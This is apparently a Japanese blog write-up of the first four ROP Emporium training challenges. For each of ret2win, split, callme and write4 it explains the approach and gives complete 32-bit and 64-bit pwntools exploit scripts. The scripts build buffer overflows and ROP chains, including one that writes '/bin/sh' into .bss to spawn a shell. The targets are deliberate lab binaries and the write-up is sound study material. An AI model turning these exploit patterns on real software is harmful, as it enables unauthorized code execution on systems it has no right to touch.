ROP Emporium埋め 前半
x86-64に全然慣れてないので、やります。
今回は前半の4問だけです。後半も直にやります。
環境 : Ubuntu 20.04 LTS
$ lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal
1. ret2win
32bit
ただのバッファオーバーフローですね。
gdbでpattern_createからのpattoでリターンアドレスまでのoffset割り出して、ret2winに飛ばします。やるだけ。
from pwn import * elf=ELF("./ret2win32") p=process("./ret2win32") payload=b"A"*44 payload+=p32(elf.symbols['ret2win']) p.sendlineafter(b"\n\n> ",payload) print(p.recvall())
64bit
方針は変わらないんですが、ret2winの先頭に飛ばすとレジスタの関係で落ちるので、1つ飛ばしたら実行できました。
from pwn import * elf=ELF("./ret2win") p=process("./ret2win") payload=b"A"*40 payload+=p64(elf.symbols['ret2win']+1) p.sendlineafter(b"\n\n> ",payload) print(p.recvall())
2. split
32bit
objdumpしてみると、usefulFunction
の中でsystem(0x8048747)
を呼んでいる事が分かります。
今回もバッファオーバーフローがあるので取り敢えずusefulFunctionに飛ばしてからgdbでattachすると、
0x8048747の中身は/bin/ls
でした。カス!
FSBとかないのでそれを書き換えるのは無理、という事でnmコマンドで適当に探してみるとusefulStringが見つかります。
こちらの中身を見てみると.../bin/cat flag.txt
です。世の中よくできてるなぁ(?)
後はpwnmeのリターンアドレスからROPして終わりです。
from pwn import * elf=ELF("./split32") p=process("./split32") payload=b"A"*44 payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(0x804a030) # useful String p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload) print(p.recvall())
64bit
64bitの関数呼び出し、32bitと全然違うんですよね。
32bitだと素直にstackにポンポン入れられるんですが64bitだとrdi -> rsi -> rdx ...みたいな感じでレジスタに入れられていきます。
しかも、stack alignmentとかなんとかでROPの最初にret;
挟まないと死ぬっていう
手間のかかる子です。
from pwn import * elf=ELF("./split") p=process("./split") payload=b"A"*40 payload+=p64(0x004005b9) # ret; payload+=p64(0x00400883) # pop rdi; ret; payload+=p64(0x0000000000601060) # usefulString payload+=p64(elf.plt['system']) p.sendlineafter(b"Contriving a reason to ask user for data...\n> ",payload) print(p.recvall())
3. callme
32bit
問題文にcallme_one(1,2,3),callme_two(1,2,3),callme_three(1,2,3)の順に呼べと書いてあるのでその通りにします。
from pwn import * elf=ELF("./callme32") p=process("./callme32") payload=b"A"*44 payload+=p32(elf.plt['callme_one']) payload+=p32(0x080488a9) # pop3ret payload+=p32(0x00000001) payload+=p32(0x00000002) payload+=p32(0x00000003) payload+=p32(elf.plt['callme_two']) payload+=p32(0x080488a9) payload+=p32(0x00000001) payload+=p32(0x00000002) payload+=p32(0x00000003) payload+=p32(elf.plt['callme_three']) payload+=p32(0x080488a9) payload+=p32(0x00000001) payload+=p32(0x00000002) payload+=p32(0x00000003) p.sendlineafter(b"Hope you read the instructions...\n> ",payload) print(p.recvall())
64bit
最初にretを挟むのを忘れずに。
他の人のwrite-up見てみると、最初のret gadget挟んでないのに上手く行ってるんですよね...なんでだろ
from pwn import * elf=ELF("./callme") p=process("./callme") pop3_gadget=0x00401ab0 ret_gadget=0x004017d9 payload=b"A"*40 payload+=p64(ret_gadget) payload+=p64(pop3_gadget) payload+=p64(0x1) payload+=p64(0x2) payload+=p64(0x3) payload+=p64(elf.plt['callme_one']) payload+=p64(pop3_gadget) payload+=p64(0x1) payload+=p64(0x2) payload+=p64(0x3) payload+=p64(elf.plt['callme_two']) payload+=p64(pop3_gadget) payload+=p64(0x1) payload+=p64(0x2) payload+=p64(0x3) payload+=p64(elf.plt['callme_three']) p.sendlineafter(b"Hope you read the instructions...\n> ",payload) print(p.recvall())
4. write4
32bit
なんかbufferの値を/bin/sh\x00AAAA...
とかにすればいいかな〜とか思ったんですが、変数名分からんしで諦めてwrite-upを見ました。
usefulGadgetsにmov DWORD PTR [edi],ebp
があるので、pop edi; pop ebp; ret;
があったら任意の書き込み権限のあるアドレスに任意の値を書き込めるとからしいです。
肝心の書き込み権限のあるアドレスとしてはbssセクションが使えるので、そこに/bin/sh
を書き込んでsystemの引数でそれを呼べばシェルが起動するという感じです。
from pwn import * elf=ELF("./write432") p=process("./write432") pop2_gadget=0x080486da mov_edi_ebp=0x08048670 bss=elf.bss() payload=b"A"*44 payload+=p32(pop2_gadget) payload+=p32(bss) payload+=b"/bin" payload+=p32(mov_edi_ebp) payload+=p32(pop2_gadget) payload+=p32(bss+4) payload+=b"/sh\x00" payload+=p32(mov_edi_ebp) payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(bss) p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload) p.interactive()
64bit
32bitのコードを64bit版にしただけです。/bin/sh\x00
が8バイトで丁度良いですね〜
from pwn import * elf=ELF("./write4") p=process("./write4") payload=b"A"*40 payload+=p64(0x004005b9) # ret; payload+=p64(0x00400890) # pop r14;pop r15;ret; payload+=p64(elf.bss()) payload+=b"/bin/sh\x00" payload+=p64(0x00400820) # mov QWORD PTR [r14],r15 payload+=p64(0x00400893) # pop rdi;ret; payload+=p64(elf.bss()) payload+=p64(elf.plt['system']) p.sendlineafter(b"Go ahead and give me the string already!\n> ",payload) p.interactive()